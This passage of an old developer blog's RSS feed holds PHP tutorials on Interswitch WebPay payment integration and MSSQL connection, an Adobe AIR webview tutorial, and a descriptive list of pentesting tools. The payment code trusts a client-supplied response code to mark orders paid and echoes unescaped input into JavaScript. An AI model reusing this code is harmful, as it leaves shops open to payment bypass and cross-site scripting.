    $amount = mysql_real_escape_string($_POST[&#039;amount&#039;]);
    $buyer_id = mysql_real_escape_string($_POST[&#039;bid&#039;]);
    $description = mysql_real_escape_string($_POST[&#039;desc&#039;]);
    $pgate = &quot;Interswitch&quot;;
    $time = date(&quot;D d F, Y  - g:i A&quot;, time());
    $result = addTransaction($transaction_id, $time, $buyer_id, $amount, $pgate, $description, 0);  
    ////here we store the transaction details with our addTransaction() function
    if ($result)
    // if we get a positive response from our function, it means the data was stored 
    //successfully. Remember to catch all errors, so you can also use else to display an error message
    //or from the function
    {
    //store these values so we can set and unset them when we are done with the transaction
        $_SESSION[&#039;tid&#039;] = $transaction_id;
        $_SESSION[&#039;bid&#039;] = $buyer_id;
        $_SESSION[&#039;desc&#039;] = $description;
        $_SESSION[&#039;amount&#039;] = $amount;
        $_SESSION[&#039;pgate&#039;] = $pgate;
    }
}</code></pre></p>
<p>Next we need to send the whole details to Interswitch</p>
<h2>Sending a request to Interswitch WebPay</h2>
<p><pre class="prettyprint"><code>if ($success == null)
{
//or success = &quot;&quot; means we are not getting any response yet from Interswitch and we are trying to send WebPay a messsage
    ?&gt;
    &lt;div align=&quot;center&quot; title=&quot;Secure Payment Page&quot;&gt;
        &lt;iframe align=&quot;middle&quot; frameborder=&quot;0&quot; width=&quot;40%&quot; height=&quot;550&quot; name=&quot;PayFrame&quot; scrolling=&quot;no&quot; id=&quot;PayFrame&quot;&gt;&lt;/iframe&gt;
    &lt;/div&gt;
    &lt;script type=&#039;text/javascript&#039;&gt;
        doPayment(&#039;&lt;?php echo $amount; ?&gt;&#039;,&#039;&lt;?php echo $transaction_id; ?&gt;&#039;,&#039;&lt;?php echo $cpID; ?&gt;&#039;, &#039;&lt;?php echo $merchantID ?&gt;&#039;)
        //We are using “iframe” to display the Interswitch payment page on our website and using the doPayment() function to send the request to Interswitch
        function doPayment(amount,trnxID,cadpid,mertId)
        {    
            var trnxId  = trnxID;
            var cadpid  = cadpid;
            var mertId  = mertId;
            var amount = amount;
            var url = &#039;https://webpay.interswitchng.com/webpay/purchase.aspx&#039;; 
            //this url may change , they have the test and live url, so remember to look at the documentation provided to get the test url and live url when you are done testing.
            var fullUrl = url + &quot;?CADPID=&quot;+cadpid+&quot;&amp;MERTID=&quot;+mertId+&quot;&amp;TXNREF=&quot;+trnxId+&quot;&amp;AMT=&quot;+amount+&quot;&amp;TRANTYPE=00&quot;;
                            
            document.getElementById(&quot;PayFrame&quot;).src = fullUrl;
        }
    &lt;/script&gt;

    &lt;?php
    echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Return to Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
}</code></pre></p>
<p>From the entire story we have above, we are using an iframe to display the payment page from Interswich, where the user enters his/her debit card number and pin on our page. The iFrame has a size, so you can adjust it to your taste. We also made use of a javascript function <code> doPayment()</code> that receives all our order details and sends the information to WebPay in a url string. We have something like this at the end:<br />
<code>https://webpay.interswitchng.com/webpay/purchase.aspx?CADPID=CADP628051&amp;MERTID=Demo&amp;TXNREF=38847f44ea44&amp;AMT=3000&amp;TRANTYPE=00</code></p>
<p>You can also view the payment page from Interswitch by typing the url above in your browser after filling the details correctly, like your Merchant ID, CPID, amount etc.</p>
<p>We have something like this eventually;</p>
<p><img src="http://img.stackarena.com/2012/05/payment-page.png" alt="" class="aligncenter size-full wp-image-537" /></p>
<h2>Receiving response from Interswitch WebPay</h2>
<p>Now that the user has paid for the product, how do we receive the payment status from Interswitch and also display an invoice to the user? Well, we would need to look at our previous <code>if</code> statement that says <code> if ($success == null) </code> and create another <code>if</code> statement that looks out for other Interswich WebPay Success codes e.g., 00,09 etc.</p>
<p>We will have something like this:</p>
<p><pre class="prettyprint"><code>if ($success == &quot;00&quot;)
{
    //deal with successful transaction
    $query = mysql_query(&quot;UPDATE transactions SET t_status=1 WHERE transaction_id=&#039;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&#039;&quot;);
    //all we do here is to update that our transaction on the database with the success code we get from WebPay and display a message to the user.
    echo &quot;&lt;div class=success&gt;Transaction Successfull&lt;/div&gt;&quot;;
    echo &quot;&lt;h3&gt;Transaction details&lt;/h3&gt;&lt;br/&gt;&quot;;
    echo &quot;&lt;u&gt;&lt;b&gt;Transaction ID:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
    echo &quot;&lt;u&gt;&lt;b&gt;Description:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;desc&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
    echo &quot;&lt;u&gt;&lt;b&gt;Total Amount:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;=N=&quot; . number_format($_SESSION[&#039;amount&#039;]) . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
    echo &quot;&lt;u&gt;&lt;b&gt;Payment Method:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;pgate&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
    echo &quot;&lt;u&gt;&lt;b&gt;Time:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . date(&quot;D d F, Y  - g:i A&quot;, time()) . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;

    //delete the product from cart
    $query = mysql_query(&quot;DELETE FROM shopping_cart WHERE user_id=&#039;&quot; . $_SESSION[&#039;bid&#039;] . &quot;&#039;&quot;);

    echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
    /*
      I can add other success values from -1 to 25
      to display payment notifications to the user
      either error or other stuffs using else if ($success==&quot;1&quot;)
      e.t.c. Then we unset all the session variables we used to store the transaction details
     */
    unset($_SESSION[&#039;tid&#039;]);
    unset($_SESSION[&#039;bid&#039;]);
    unset($_SESSION[&#039;desc&#039;]);
    unset($_SESSION[&#039;amount&#039;]);
    unset($_SESSION[&#039;pgate&#039;]);
}
else   
{ 
    //here, we can have another elseif() statement to display a message for other response 
    //codes we get from WebPay or just deal with other response codes as a failed transaction.
    //Deal with Timeout Here, Transaction ID no more valid
    
    echo &quot;&lt;div class=err&gt;Error while requesting for transaction authorization, Transaction ID no more valid&lt;/div&gt; &quot;;
    echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
    $query = mysql_query(&quot;DELETE FROM transactions WHERE transaction_id=&#039;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&#039;&quot;);
    
    //remember to unset all sessions containing the transaction details
    unset($_SESSION[&#039;tid&#039;]);
    unset($_SESSION[&#039;bid&#039;]);
    unset($_SESSION[&#039;desc&#039;]);
    unset($_SESSION[&#039;amount&#039;]);
    unset($_SESSION[&#039;pgate&#039;]);
}</code></pre></p>
<p>What we have above receives a response from WebPay and displays a message to the user based on the response code it gets from Interswitch WebPay. There are several response codes you can handle in order to display a more detailed information to the user about a particular transaction. E.g. “You have insufficient balance”, “Issuer or switch Inoperative” etc.</p>
<p><img src="http://img.stackarena.com/2012/05/Untitled4.png" alt="" width="984" height="581" class="aligncenter size-full wp-image-535" /></p>
<p>Here is the list of response/error codes you will normally get from WebPay, please always remember to check the documentation provided by Interswitch while integrating.</p>
<p><strong>RSPCODE &#8211; RSP DESCRIPTION</strong><br />
00 &#8211; Approved or completed successfully<br />
01 &#8211; Refer to card issuer<br />
02 &#8211; Refer to card issuer, special condition<br />
03 &#8211; Invalid merchant<br />
04 &#8211; Pick-up card<br />
05 &#8211; Do not honor<br />
06 &#8211; Error<br />
07 &#8211; Pick-up card, special condition<br />
08 &#8211; Honor with identification<br />
09 &#8211; Request in progress<br />
10 &#8211; Approved, partial<br />
11 &#8211; Approved, VIP<br />
12 &#8211; Invalid transaction<br />
13 &#8211; Invalid amount<br />
14 &#8211; Invalid card number<br />
15 &#8211; No such issuer<br />
16 &#8211; Approved, update track 3<br />
17 &#8211; Customer cancellation<br />
18 &#8211; Customer dispute<br />
19 &#8211; Re-enter transaction<br />
20 &#8211; Invalid response<br />
21 &#8211; No action taken<br />
22 &#8211; Suspected malfunction<br />
23 &#8211; Unacceptable transaction fee<br />
24 &#8211; File update not supported<br />
25 &#8211; Unable to locate record<br />
26 &#8211; Duplicate record<br />
27 &#8211; File update field edit error<br />
28 &#8211; File update file locked<br />
29 &#8211; File update failed<br />
30 &#8211; Format error<br />
31 &#8211; Bank not supported<br />
32 &#8211; Completed partially<br />
33 &#8211; Expired card, pick-up<br />
34 &#8211; Suspected fraud, pick-up<br />
35 &#8211; Contact acquirer, pick-up<br />
36 &#8211; Restricted card, pick-up<br />
37 &#8211; Call acquirer security, pick-up<br />
38 &#8211; PIN tries exceeded, pick-up<br />
39 &#8211; No credit account<br />
40 &#8211; Function not supported<br />
41 &#8211; Lost card, pick-up<br />
42 &#8211; No universal account<br />
43 &#8211; Stolen card, pick-up<br />
44 &#8211; No investment account<br />
45 &#8211; Account closed<br />
46 &#8211; Identification required<br />
47 &#8211; Identification cross-check required<br />
51 &#8211; Not sufficient funds<br />
52 &#8211; No check account<br />
53 &#8211; No savings account<br />
54 &#8211; Expired card<br />
55 &#8211; Incorrect PIN<br />
56 &#8211; No card record<br />
57 &#8211; Transaction not permitted to cardholder<br />
58 &#8211; Transaction not permitted on terminal<br />
59 &#8211; Suspected fraud<br />
60 &#8211; Contact acquirer<br />
61 &#8211; Exceeds withdrawal limit<br />
62 &#8211; Restricted card</p>
<p>So it’s left for you to decide if you want to write an <code>if</code> or <code>switch </code> statement for these response codes in your payment page.</p>
<p>Alright, I hope you enjoyed this part, but it’s kind of a quick guide on how to integrate with WebPay. As soon as you are ready to integrate Interswich WebPay with your website, Interswitch will provide documentation on how to do this too.</p>
<p>Here is the complete payment page code for Interwsitch WebPay on our sample site, <strong>please note</strong> that this is not a production code, do not use it directly on a live site, it still needs to be properly tweaked if you want to use it on a production site. I hope I’ve tried to explain it as simple as I possibly can.</p>
<p><pre class="prettyprint"><code>&lt;?php
$pagetitle = &quot;Pay with Interswitch&quot;;
include (&#039;header.php&#039;);
?&gt;

&lt;div class=&quot;container&quot;&gt;
    &lt;?php
    if ($_SESSION[&#039;id&#039;])
    {
        $id = $_SESSION[&#039;id&#039;];
        $success = $_GET[&quot;rspcode&quot;];
        $appamt = $_GET[&quot;appamt&quot;];
        $merchantID = &quot;Demo&quot;;
        $cpID = &quot;CADP628051&quot;;
        if (isset($_POST[&#039;submit&#039;]) &amp;&amp; isset($_REQUEST[&#039;tid&#039;]) &amp;&amp; $_REQUEST[&#039;amount&#039;] != null)
        {
            //get all information
            $transaction_id = mysql_real_escape_string($_POST[&#039;tid&#039;]);
            $amount = mysql_real_escape_string($_POST[&#039;amount&#039;]);
            $buyer_id = mysql_real_escape_string($_POST[&#039;bid&#039;]);
            $description = mysql_real_escape_string($_POST[&#039;desc&#039;]);
            $pgate = &quot;Interswitch&quot;;
            $time = date(&quot;D d F, Y  - g:i A&quot;, time());
            $result = addTransaction($transaction_id, $time, $buyer_id, $amount, $pgate, $description, 0);
            if ($result)
            {
//store these values so we can set and unset them wen we are done with the transaction
                $_SESSION[&#039;tid&#039;] = $transaction_id;
                $_SESSION[&#039;bid&#039;] = $buyer_id;
                $_SESSION[&#039;desc&#039;] = $description;
                $_SESSION[&#039;amount&#039;] = $amount;
                $_SESSION[&#039;pgate&#039;] = $pgate;
            }
        }
        if ($success == null)
        { //or success = &quot;&quot;
            ?&gt;
            &lt;div align=&quot;center&quot; title=&quot;Secure Payment Page&quot;&gt;
                &lt;iframe align=&quot;middle&quot; frameborder=&quot;0&quot; width=&quot;100%&quot; height=&quot;550&quot; name=&quot;PayFrame&quot; scrolling=&quot;no&quot; id=&quot;PayFrame&quot;&gt;&lt;/iframe&gt;
            &lt;/div&gt;
            &lt;script type=&#039;text/javascript&#039;&gt;
                doPayment(&#039;&lt;?php echo $amount; ?&gt;&#039;,&#039;&lt;?php echo $transaction_id; ?&gt;&#039;,&#039;&lt;?php echo $cpID; ?&gt;&#039;, &#039;&lt;?php echo $merchantID ?&gt;&#039;)
                function doPayment(amount,trnxID,cadpid,mertId)
                {    var trnxId  = trnxID;
                    var cadpid  = cadpid;
                    var mertId  = mertId;
                    var amount  = amount;
                    var url    = &#039;https://webpay.interswitchng.com/webpay/purchase.aspx&#039;;
                    var fullUrl = url + &quot;?CADPID=&quot;+cadpid+&quot;&amp;MERTID=&quot;+mertId+&quot;&amp;TXNREF=&quot;+trnxId+&quot;&amp;AMT=&quot;+amount+&quot;&amp;TRANTYPE=00&quot;;
                    //alert(fullUrl);
                    document.getElementById(&quot;PayFrame&quot;).src = fullUrl;
                    //showWindow(fullUrl); //function in WebPAY_PopUp_Caller.txt
                }
            &lt;/script&gt;

            &lt;?php
            echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Return to Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
        }
        else if ($success == &quot;00&quot;)
        {
            //deal with successful transaction
            $query = mysql_query(&quot;UPDATE transactions SET t_status=1 WHERE transaction_id=&#039;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&#039;&quot;);

            echo &quot;&lt;div class=success&gt;Transaction Successfull&lt;/div&gt;&quot;;
            echo &quot;&lt;h3&gt;Transaction details&lt;/h3&gt;&lt;br/&gt;&quot;;
            echo &quot;&lt;u&gt;&lt;b&gt;Transaction ID:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
            echo &quot;&lt;u&gt;&lt;b&gt;Description:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;desc&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
            echo &quot;&lt;u&gt;&lt;b&gt;Total Amount:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;=N=&quot; . number_format($_SESSION[&#039;amount&#039;]) . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
            echo &quot;&lt;u&gt;&lt;b&gt;Payment Method:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . $_SESSION[&#039;pgate&#039;] . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;
            echo &quot;&lt;u&gt;&lt;b&gt;Time:&lt;/b&gt;&lt;/u&gt;&lt;br/&gt;&quot; . date(&quot;D d F, Y  - g:i A&quot;, time()) . &quot;&lt;br/&gt;&lt;br/&gt;&quot;;

//delete from cart
            $query = mysql_query(&quot;DELETE FROM shopping_cart WHERE user_id=&#039;&quot; . $_SESSION[&#039;bid&#039;] . &quot;&#039;&quot;);

            //show dem o

            echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
            /*
              I can add other success values from -1 to 25
              to display payment notifications to the user
              either error or other stuffs using else if ($success==&quot;1&quot;)
              e.t.c.
             */
            unset($_SESSION[&#039;tid&#039;]);
            unset($_SESSION[&#039;bid&#039;]);
            unset($_SESSION[&#039;desc&#039;]);
            unset($_SESSION[&#039;amount&#039;]);
            unset($_SESSION[&#039;pgate&#039;]);
        }
        else
        { //Deal with Timeout Here, Transaction ID no more valid
            echo &quot;&lt;div class=err&gt;Error while requesting for transaction authorisation, Transaction ID no more valid&lt;/div&gt; &quot;;
            echo &#039;&lt;center&gt;&lt;h1&gt;&lt;a href=&quot;viewcart.php&quot;&gt;Shopping Cart !&lt;/a&gt;&lt;/h1&gt;&lt;/center&gt;&#039;;
            $query = mysql_query(&quot;DELETE FROM transactions WHERE transaction_id=&#039;&quot; . $_SESSION[&#039;tid&#039;] . &quot;&#039;&quot;);

            unset($_SESSION[&#039;tid&#039;]);
            unset($_SESSION[&#039;bid&#039;]);
            unset($_SESSION[&#039;desc&#039;]);
            unset($_SESSION[&#039;amount&#039;]);
            unset($_SESSION[&#039;pgate&#039;]);
        }
    }
    else
    {
        echo &#039;&lt;h1&gt;Please, &lt;a href=&quot;index.php&quot;&gt;login&lt;/a&gt; and come back later!&lt;/h1&gt;&#039;;
    }
    ?&gt;

    &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;?php
include (&#039;footer.php&#039;);
?&gt;</code></pre></p>
<p>Thanks for going through this with me, please comment below if you have any question or like to point out some errors and make suggestions to omitted points in this article. I’ll be delighted to respond to your questions and comments.</p>
<p>Thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/05/integrating-your-website-with-interswitch-webpay-concluding-part-part-2/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Simple Air Application : Loading a webpage in your mobile phone application (ActionScript 3.0)</title>
		<link>http://www.stackarena.com/2012/05/simple-air-application-loading-a-webpage-in-your-mobile-phone-application-stagewebview-actionscript-3-0/</link>
		<comments>http://www.stackarena.com/2012/05/simple-air-application-loading-a-webpage-in-your-mobile-phone-application-stagewebview-actionscript-3-0/#disqus_thread</comments>
		<pubDate>Thu, 17 May 2012 19:22:29 +0000</pubDate>
		<dc:creator>Kanke Ishaku</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[Adobe Air]]></category>
		<category><![CDATA[Andriod]]></category>
		<category><![CDATA[Mobile web]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=494</guid>
		<description><![CDATA[The StageWebView provides a means to display HTML content in mobile application. StageWebView literally draws an instance of the device’s native Web View on top of the stage using designated viewport coordinates and boundary dimensions. Unlike HTMLLoader, StageWebView instances can’t &#8230; <a href="http://www.stackarena.com/2012/05/simple-air-application-loading-a-webpage-in-your-mobile-phone-application-stagewebview-actionscript-3-0/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The <code>StageWebView</code> provides a means to display HTML content in mobile application. <code>StageWebView</code> literally draws an instance of the device’s native Web View on top of the stage using designated viewport coordinates and boundary dimensions. Unlike HTMLLoader, <code>StageWebView </code>instances can’t be added to the display list. This means that, at least presently, developers cannot draw or otherwise place display list objects on top of a <code>StageWebView </code>instance, and animating <code>StageWebView</code> instances proves difficult and exhibits fairly poor performance. Finally, because HTMLLoader is not supported on Android devices, working with HTML content on Android, we have to use the <code>StageWebView</code>. In the code below, the <code>StageWebView.loadURL()</code> function loads the stackarena.com website. You can download the source file at the end of this tutorial.</p>
<h2>Let&#8217;s get started.</h2>
<p>I am using Adobe Flash Professional CS5 and ActionScript 3.0.<br />
Create a new Air for Android application with the default screen size 480px by 800px (Android phone screen size)</p>
<p><img src="http://img.stackarena.com/2012/05/17.png" alt="" class="alignnone size-full wp-image-479" /></p>
<p>On the first layer, add your buttons and text indicating what each button does as seen below; Name the first button Google and the second Hide/show. Give them the instance name btn_google and btn_hideshow respectively.</p>
<p>Google <code>button(btn_google):</code> loads the Google search page on your mobile application.</p>
<p>Hide/show <code>(btn_hideshow):</code> clears all HTML content from the application.</p>
<p>You can access these buttons from flash libary. Go to Windows&gt; Common Libaries&gt; Buttons. Select classic button &gt; Arcade buttons &gt; Drag and drop the buttons to stage and adjust the button with your free transform tool if you so wish.<br />
The buttons and text should be positioned at the bottom layer because the upper region of the screen would act as a stage where our HTML content/ &#8220;browser&#8221; would be loaded.<br />
Your screen should look like this;</p>
<p><img src="http://img.stackarena.com/2012/05/21.png" alt="" class="alignnone size-full wp-image-484" /></p>
<p>Let&#8217;s add some ActionScript<br />
In the first frame of the first layer, right click and select action. Add this piece of code to it.</p>
<p><pre class="prettyprint"><code>import flash.geom.Rectangle;
import flash.events.MouseEvent;

var stagewebview: StageWebView = new StageWebView();
stagewebview.stage = this.stage;
stagewebview.viewPort=
new Rectangle(0,0,stage.stageWidth,stage.stageHeight-250);
stagewebview.loadURL( &quot;http://www.stackarena.com&quot; );

btn_google.addEventListener (MouseEvent.MOUSE_DOWN,goGoogle);
btn_hideshow.addEventListener (MouseEvent.MOUSE_DOWN,hideshowBrowser);

function goGoogle(evt:MouseEvent)
{
  stagewebview.loadURL( &quot;http://www.google.co.uk &quot;);
}

function hideshowBrowser(evt:MouseEvent)
{
  if (stagewebview.stage==null) stagewebview.stage=this.stage;
  else stagewebview.stage=null;
}</code></pre></p>
<h2>Explanation of the code above</h2>
<p><pre class="prettyprint"><code>import flash.geom.Rectangle;
import flash.events.MouseEvent;</code></pre></p>
<p>The first line of the above code imports the packages <code>flash.geom</code> which helps us create A Rectangle object is an area defined by its position, as indicated by its top-left corner point (x, y) and by its width and its height.</p>
<p>The second line <code>events.MouseEvent</code> imports the package <code>events.MouseEvent</code> which responds when Flash® Player dispatches MouseEvent objects into the event flow whenever mouse events occur. A mouse event is usually generated by a user input device, such as a mouse or a trackball, that uses a pointer. </p>
<p><pre class="prettyprint"><code>var stagewebview: StageWebView = new StageWebView();
stagewebview.stage = this.stage;
stagewebview.viewPort=
new Rectangle(0,0,stage.stageWidth,stage.stageHeight-250);
stagewebview.loadURL( &quot;http://www.stackarena.com&quot; );</code></pre></p>
<p>This code creates an object of the <code>StageWebView</code> class and attaches it directly to the stage using the stage property of the <code>StageWebView</code> object. Note that <code>StageWebView</code> is not a display object that can be attached to a Flash display list. You can control the size of the rectangle in which the HTML content in a <code>StageWebView</code> displayed using the <code>viewPort</code> method.</p>
<p><pre class="prettyprint"><code>btn_google.addEventListener (MouseEvent.MOUSE_DOWN,goGoogle);

function goGoogle(evt:MouseEvent)
{
  stagewebview.loadURL( &quot;http://www.google.co.uk &quot;);
}</code></pre></p>
<p>We added btn_google button outside the <code>StageWebView</code>. In the code above, an event listener is added to it, and then a function is called to set the location.The function <code>goGoogle</code>, when executed, loads the Google web page in the <code>StageWebView</code>. The <code>loadURL()</code> method is used to load the URL in the <code>WebView</code> class.</p>
<p><pre class="prettyprint"><code>btn_hideshow.addEventListener (MouseEvent.MOUSE_DOWN,hideshowBrowser);
function hideshowBrowser(evt:MouseEvent)
{
  if (stagewebview.stage==null) stagewebview.stage=this.stage;
  else stagewebview.stage=null;
}</code></pre></p>
<p>We added btn_hideshow button outside the <code>StageWebView</code>. In the code above, an event listener is added to it, and then a function is called to set the <code>StageWebView</code> to null and set the view back to the stage.The function <code>hideshowBrowser</code>, when executed, unloads and loads the web page in the <code>StageWebView</code>.</p>
<p>You can test the movie using an emulator which is like testing directly on a mobile phone. In another tutorial, I would discuss how to test applications directly on your android phone.</p>
<p>Control &gt; Test movie &gt; in Air Debug Launcher(Mobile) or for keyboard shortcut Ctrl + Enter.</p>
<p><img src="http://img.stackarena.com/2012/05/3.png" alt="" class="aligncenter size-full wp-image-493" /></p>
<p>You can download the source file below and Don&#8217;t forget to ask questions!</p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2012/05/webview.zip" title="webview" id="attachment-wrapper">webview</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/05/simple-air-application-loading-a-webpage-in-your-mobile-phone-application-stagewebview-actionscript-3-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Good tools for Pentesting, Ethical Hacking, etc.</title>
		<link>http://www.stackarena.com/2012/05/good-tools-for-pentesting-ethical-hacking-etc/</link>
		<comments>http://www.stackarena.com/2012/05/good-tools-for-pentesting-ethical-hacking-etc/#disqus_thread</comments>
		<pubDate>Thu, 17 May 2012 11:31:40 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[Knowledge Base]]></category>
		<category><![CDATA[Security and Hacking]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=469</guid>
		<description><![CDATA[Hi there, there are lots of tools for pentesting out here, but I think you will find these tools very useful in Ethical Hacking and Penetration Testing, Forensics etc. MetaSploit : Metsploit is a very Powerful PenTesting Tool . Metasploit &#8230; <a href="http://www.stackarena.com/2012/05/good-tools-for-pentesting-ethical-hacking-etc/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hi there, there are lots of tools for pentesting out here, but I think you will find these tools very useful in Ethical Hacking and Penetration Testing, Forensics etc.</p>
<p><strong>MetaSploit :</strong></p>
<p>Metsploit is a very Powerful PenTesting Tool . Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework. Very useful tool for Information Gathering, Vulnerability Scanning, Exploit Development, Client side exploits,&#8230;<br />
Official site: <a title="http://www.metasploit.com/" href="http://www.metasploit.com/">http://www.metasploit.com/</a></p>
<p><strong>WireShark:</strong></p>
<p>WireShark is a free and best Network Packet Analyzer tool for UNIX and Windows. It is used for networking troubleshooting, Malware analysis and education.<br />
Homepage: <a title="http://www.wireshark.org" href="http://www.wireshark.org">http://www.wireshark.org</a></p>
<p><strong>NMAP</strong></p>
<p>Nmap(&#8220;Network Mapper&#8221;) Free Security Scanner For Network Exploration &amp; Hacking.It is used to scan a network and gathers information about the target network including open ports,Services running in the host, OS information,packet filters/firewalls details, and more.<br />
Official site: <a title="http://www.wireshark.org" href="http://www.wireshark.org">http://nmap.org/</a></p>
<p><strong>John The Ripper:</strong></p>
<p>JTR is free and fast password cracker. Its primary purpose is to detect weak Unix password.<br />
Official site: <a title="http://www.openwall.com/john/" href="http://www.openwall.com/john/">http://www.openwall.com/john/</a></p>
<p><strong>Acunetix Web Security Scanner:</strong></p>
<p>Audit your website security and web applications for SQL injection, Cross site scripting and other web vulnerabilities with Acunetix Web Security Scanner.<br />
This tools is not free one ;(<br />
Official Site: <a title="www.acunetix.com" href="www.acunetix.com">http://www.acunetix.com</a></p>
<p><strong>Maltego:</strong></p>
<p>Maltego is an open source intelligence and forensics application. It will offer you mining and gathering of information as well as the representation of this information in a easy to understand format.<br />
Official site: <a title="www.paterva.com/" href="www.paterva.com/">http://www.paterva.com/</a></p>
<p><strong>IronWASP:</strong></p>
<p>IronWASP (Iron Web application Advanced Security testing Platform) is an open source system for web application vulnerability testing. It is designed to be customizable to the extent where users can create their own custom security scanners using it. Though an advanced user with Python/Ruby scripting expertise would be able to make full use of the platform, a lot of the tool&#8217;s features are simple enough to be used by absolute beginners.<br />
Official site: <a title="http://ironwasp.org" href="http://ironwasp.org">http://ironwasp.org</a></p>
<p><strong>Ettercap:</strong></p>
<p>Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.<br />
Official site: <a title="http://ettercap.sourceforge.net/" href="http://ettercap.sourceforge.net/">http://ettercap.sourceforge.net/</a></p>
<p>Please comment below if there are other useful tools you know about not listed here.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/05/good-tools-for-pentesting-ethical-hacking-etc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Connecting PHP to Microsoft SQL Server</title>
		<link>http://www.stackarena.com/2012/05/connecting-php-to-microsoft-sql-server/</link>
		<comments>http://www.stackarena.com/2012/05/connecting-php-to-microsoft-sql-server/#disqus_thread</comments>
		<pubDate>Tue, 15 May 2012 20:59:32 +0000</pubDate>
		<dc:creator>Adeniyi Adekoya</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Connecting PHP to Microsoft SQL Server]]></category>
		<category><![CDATA[Microsoft SQL Server]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=459</guid>
		<description><![CDATA[Most developers don&#8217;t know this is possible, some arguably think it doesn&#8217;t make sense and others don&#8217;t even care whether it can be done or not because as far as they are concerned, PHP was always meant for MySQL. Well &#8230; <a href="http://www.stackarena.com/2012/05/connecting-php-to-microsoft-sql-server/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Most developers don&#8217;t know this is possible, some arguably think it doesn&#8217;t make sense and others don&#8217;t even care whether it can be done or not because as far as they are concerned, PHP was always meant for MySQL. Well I&#8217;m not really going to go to the nitty gritty of the whole thing, we&#8217;ll save that for later, just going to show how its done.</p>
<p>Here&#8217;s a demo code. Replace the necessary variables.<br />
<pre class="prettyprint"><code>&lt;?php
/*
** Connect to database:
*/
 
// Connect to the database (host, username, password)
$con = mssql_connect(&#039;servername&#039;,&#039;admin&#039;,&#039;password&#039;) 
    or die(&#039;Could not connect to the server!&#039;);
 
// Select a database:
mssql_select_db(&#039;stack&#039;) 
    or die(&#039;Could not select a database.&#039;);
 
// Example query: (TOP 10 equal LIMIT 0,10 in MySQL)
$SQL = &quot;SELECT TOP 10 * FROM TableName ORDER BY ID ASC&quot;;
 
// Execute query:
$result = mssql_query($SQL) 
    or die(&#039;A error occured: &#039; . mysql_error());
 
// Get result count:
$Count = mssql_num_rows($result);
print &quot;Showing $count rows:&lt;hr/&gt;\n\n&quot;;
 
// Fetch rows:
while ($Row = mssql_fetch_assoc($result)) {
 
